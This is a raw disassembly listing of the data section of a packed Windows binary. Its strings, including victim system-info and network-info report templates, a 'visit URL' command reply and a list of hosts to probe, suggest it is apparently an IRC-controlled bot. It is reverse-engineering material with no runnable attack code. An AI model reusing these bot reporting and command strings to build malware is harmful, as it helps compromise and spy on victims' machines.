aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A068	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A144	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 4
dword_43A178	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A1BC	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A1C0	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A1C4	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A1CC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1DC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A238	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A254	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A290	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A2AC	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A2B0	dd 6120767Eh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A2C0	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A2CC	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2D8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2DC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2F0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2F4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A300	dd offset off_43A300	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A304	dd offset off_43A300	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A318
		dd offset dword_43A318
dword_43A310	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A318	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A308o
					; ___:0043A30Co
off_43C320	dd offset off_43A300	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C324	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C328	dd offset word_43C332	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C32C	dd offset word_43C332	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C332	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C328o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C534	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C538	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C540	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C544	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C548	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C550	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C554	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C560	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C640	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C644	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C7A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C7B0	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C7B8	dd 14h			; DATA XREF: sub_421624+2o
off_43C7BC	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C2A0h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C890	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C8A0	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C8B8	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C8C4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8D0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8D4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8D8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8DC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8E0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8E4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8F4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8F8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8FC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C970	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C974	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C978	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C97C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C980	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C988	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C98C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433854h
		dd 0FFh, 427960h
off_43CA18	dd offset dword_4DB5E0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5E0
		dd 101h
dword_43CA28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA38	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA58	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA88	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC98	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CCA0	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CCA8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CCC0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCD8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCDC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCE0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCE4	dd offset dword_545350	; DATA XREF: ___:off_43CD64o
		dd 0Fh dup(0)
off_43CD24	dd offset dword_544450	; DATA XREF: ___:off_43CD68o
		dd 0Fh dup(0)
off_43CD64	dd offset off_43CCE4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD68	dd offset off_43CD24	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD70	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD74	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD78	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD80	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD84	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD88	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD8C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CDBC	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CDC0	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDF8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF58	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D0B4	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D0CC	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0EC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D10C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D130	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D150	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D158	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D160	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D178	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCE0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEE0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEE4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEE8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEEC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEF0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEF4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEF8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43DEFC	dd 1E15h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433794o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A80o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384F0o
dword_457444	dd 0AF19h dup(0)
		db 0
byte_4830A9	db 3 dup(0)		; DATA XREF: Themida_:005682D9o
dword_4830AC	dd 0C866h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43835Co
dword_4B5248	dd 56A6h dup(0)
dword_4CACE0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACE4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACE8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACEC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD6C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CADAC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE3C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE40	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE50	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE54	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE58	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE5C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE90	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAEC0	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAECC	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAED8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEE0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEE4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAEFC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAF08	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAF10	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAF14	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAF18	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAF28	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAF2C	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF50	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF58	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF5C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF74	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF80	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
